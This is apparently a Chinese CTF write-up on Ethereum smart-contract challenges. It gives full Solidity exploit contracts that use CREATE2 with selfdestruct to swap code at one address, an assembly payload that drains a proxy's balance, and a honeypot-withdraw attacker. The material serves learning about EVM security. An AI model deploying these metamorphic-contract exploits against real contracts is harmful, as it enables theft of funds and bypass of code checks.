这里我发现了一个很奇怪的东西,为什么把两步create2操作和空调用放在同一个函数中不行(call(“”)会失败,即无法将合约回调),至今还没搞懂,只有将他们分开才可以hack成功。错误代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function pwn() external {

// 1. deploy selfdestruct contract
bytes memory destructCode = hex"32FF"; // selfdestruct(tx.origin)
address destruct_addr = deployer.deploy(destructCode);

// 2. set target = destuct_addr
creativity.check(destruct_addr);

// 3. destruct the contract
destruct_addr.call("");

// 4. deploy sendflag contract
deployer.deploy(type(CreativitySendFlag).runtimeCode);

// 5. emit the SendFlag
creativity.execute();
}

将他们三拆开才能成功。

3. solve

攻击合约 ==> 攻击逻辑:部署Hacker合约,依次执行pwn1(),pwn2(),pwn3()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// selfdestruct(tx.origin)
contract CreativityDestruct {

constructor() public {
assembly {
mstore(0x200, shl(240, 0x32FF))
return (0x200, 4)
}
}
}

// emit SendFlag
contract CreativitySendFlag {

function() external {
bytes32 eventHash = keccak256(abi.encodePacked("SendFlag(address)"));
address hacker = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
assembly {
mstore(0x200, hacker)
log1(0x200, 0x20, eventHash)
}
}

}

// be responsible for creating contract
contract Deployer {
bytes public deployBytecode;

// code is Logic contract's bytecode
function deploy(bytes memory code) public returns(address addr) {
deployBytecode = code;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = type(Dumper).creationCode;
assembly {
addr := create2(0, add(0x20, dumperBytecode), mload(dumperBytecode), 0x1030)
}
}
}

// the function is assigning different functions
contract Dumper {

constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

contract CreativityHacker {

Creativity creativity;
Deployer deployer;

constructor(address _creativity) public {
creativity = Creativity(_creativity);
deployer = new Deployer();
}

address addr;

function pwn1() external {

// 1. deploy selfdestruct contract
bytes memory destructCode = hex"32FF";
addr = deployer.deploy(destructCode);

// 2. set target = destuct_addr
creativity.check(addr);
}


function pwn2() external {

// 3. destruct the contract
addr.call("");

}

function pwn3() external {

// 4. deploy sendflag contract
deployer.deploy(type(CreativitySendFlag).runtimeCode);

// 5. emit the SendFlag
creativity.execute();

}
}

image-20231011004153260

总结

BoxGame

知道了汇编log1的用法,以及加深了对bytecode的认知,metadata的有无不影响合约的部署。

EasySandbox

在这题中,我知道了delegatecall的另一个特点,逻辑合约的转账操作,在代理合约中通过delegatecall调用,实际上操作的是代理合约中的余额,如下所示:

首先,在部署proxy时,已经给proxy转了1ether

image-20231008143812305

结果显示,执行完delegatecall函数之后,proxy中的钱被转走了。

1
2
3
// exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)

使用0x32FF这两个字节作为bytcode创建合约,其含义为selfdestruct(tx.origin),我第一次见还可以这样创建合约的,直接自毁,又由于FF被禁止使用,所以采用了add(0x32FE,0x1),随后将0x32FF移动到32bytes的高16位。

1
2
3
4
5
/*
左移240位的原因:
对于一段bytecode,EVM的读取方式为从左到右,即从高位到低位, mstore(offset, value) 存储方式为低位存储,高位留空,且存储的大小为32bytes即256位,0x32FF占了4*4=16(bit),所以需要左移 32bytes(256bit) - 16bit = 240(0XF0)bit

*/

StArNDBOX

runtimecode可以通过constructor来控制,即在构造器中使用内联汇编返回指定的runtimecode,即使合约中还有其他的函数,按理来说那些函数的功能应该是被编码在runtimecode中,如果构造器中return,则真正的runtimecode为return的值。

如下是有无构造器时的bytcode:

image-20231009201856438

由结果可知,猜想正确,格局打开🤑。

Creativity

学会了如何实现同一个地址部署不同的runtimecode,真的感觉很神奇!

在传bytes类型的数据时,

1
2
3
bytes memory code = "0x32FF"; // 这样是错误的,读取的结果非 0x32FF
// 应该这样写
bytes memory code = hex"32FF";

参考链接

Link1题解

Link2题解

Link3EVMruntimecode的学习

Link4metadata

很有意思的拓展学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

pragma solidity ^0.4.24;

contract HoneyPot {

bytes internal constant ID = hex"60203414600857005B60008080803031335AF100";

constructor () public payable {
bytes memory contract_identifier = ID;
assembly { return(add(0x20, contract_identifier), mload(contract_identifier)) }
}

function withdraw() public payable {
require(msg.value >= 1 ether);
msg.sender.transfer(address(this).balance);
}
}

contract HoneyPotHacker {

HoneyPot pot;

constructor(address _pot) public {
pot = HoneyPot(_pot);
}

function pwn() external payable {
require(msg.value == 0x20);
pot.withdraw.value(msg.value)();
}

function balanceOf(address target) external view returns(uint) {
return target.balance;
}

function() external payable{}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计